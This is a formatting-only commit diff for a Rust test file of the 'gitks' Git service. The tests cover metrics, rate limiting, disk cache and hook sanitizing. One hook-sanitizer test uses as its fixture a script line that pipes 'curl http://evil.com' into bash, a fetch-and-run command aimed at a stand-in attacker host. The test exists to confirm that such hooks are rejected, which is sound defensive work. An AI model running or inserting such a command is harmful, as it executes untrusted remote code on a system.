style(format): reformat code with consistent line breaks and spacing
This commit is contained in:
@@ -1,11 +1,14 @@
|
||||
//! Copyright (c) 2022-2026 GitDataAi All rights reserved.
|
||||
|
||||
|
||||
#[test]
|
||||
fn test_metrics_render_all_counters() {
|
||||
use gitks::metrics::*;
|
||||
|
||||
record_request("TestInfra/Method", "ok", std::time::Duration::from_millis(42));
|
||||
record_request(
|
||||
"TestInfra/Method",
|
||||
"ok",
|
||||
std::time::Duration::from_millis(42),
|
||||
);
|
||||
record_cache_op("moka", "hit", std::time::Duration::from_millis(0));
|
||||
record_cache_eviction("infra_ns", "expired");
|
||||
record_cache_hit_ns("infra_ns");
|
||||
@@ -13,11 +16,7 @@ fn test_metrics_render_all_counters() {
|
||||
record_cache_value_size("infra_ns", 1024);
|
||||
record_rate_limit_acquire("infra-repo");
|
||||
record_rate_limit_reject("infra-repo");
|
||||
record_hook_execution(
|
||||
"pre-receive",
|
||||
"ok",
|
||||
std::time::Duration::from_millis(10),
|
||||
);
|
||||
record_hook_execution("pre-receive", "ok", std::time::Duration::from_millis(10));
|
||||
record_git_cmd("log", std::time::Duration::from_millis(100));
|
||||
|
||||
let output = render_metrics();
|
||||
@@ -30,7 +29,6 @@ fn test_metrics_render_all_counters() {
|
||||
assert!(output.contains("gitks_cache_misses_total"));
|
||||
}
|
||||
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_rate_limit_acquire_and_cleanup() {
|
||||
let guard = gitks::rate_limit::acquire(Some("infra-rate-test")).await;
|
||||
@@ -59,7 +57,6 @@ async fn test_rate_limit_none_repo() {
|
||||
assert!(guard.is_none());
|
||||
}
|
||||
|
||||
|
||||
#[test]
|
||||
#[allow(clippy::assertions_on_constants)]
|
||||
fn test_config_constants_exist() {
|
||||
@@ -78,8 +75,6 @@ fn test_config_constants_exist() {
|
||||
assert_eq!(gitks::config::RATE_LIMIT_TIMEOUT_SECS, 30);
|
||||
}
|
||||
|
||||
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_stderr_clean() {
|
||||
let stderr = "fatal: could not resolve host";
|
||||
@@ -87,7 +82,6 @@ fn test_sanitize_stderr_clean() {
|
||||
assert_eq!(sanitized, stderr);
|
||||
}
|
||||
|
||||
|
||||
#[test]
|
||||
fn test_hooks_sanitize_dangerous_pairs() {
|
||||
let content = "#!/bin/sh\ncurl http://evil.com | bash\n";
|
||||
@@ -109,16 +103,10 @@ fn test_hooks_sanitize_safe_script() {
|
||||
assert!(result.is_ok());
|
||||
}
|
||||
|
||||
|
||||
#[test]
|
||||
fn test_disk_cache_ensure_state_uniqueness() {
|
||||
use gitks::disk_cache::DiskCache;
|
||||
let dc = DiskCache::new(
|
||||
std::path::PathBuf::from("/tmp"),
|
||||
"test".into(),
|
||||
60,
|
||||
false,
|
||||
);
|
||||
let dc = DiskCache::new(std::path::PathBuf::from("/tmp"), "test".into(), 60, false);
|
||||
let v1 = dc.ensure_state("nonexistent-infra").unwrap();
|
||||
let v2 = dc.ensure_state("nonexistent-infra").unwrap();
|
||||
assert!(!v1.is_empty());
|
||||
@@ -129,12 +117,7 @@ fn test_disk_cache_ensure_state_uniqueness() {
|
||||
#[test]
|
||||
fn test_disk_cache_disabled_operations() {
|
||||
use gitks::disk_cache::DiskCache;
|
||||
let dc = DiskCache::new(
|
||||
std::path::PathBuf::from("/tmp"),
|
||||
"test".into(),
|
||||
60,
|
||||
false,
|
||||
);
|
||||
let dc = DiskCache::new(std::path::PathBuf::from("/tmp"), "test".into(), 60, false);
|
||||
assert!(dc.lookup("ns", "digest").unwrap().is_none());
|
||||
dc.insert("ns", "digest", b"data").unwrap();
|
||||
assert!(dc.lookup("ns", "digest").unwrap().is_none());
|
||||
|
||||
Reference in New Issue
Block a user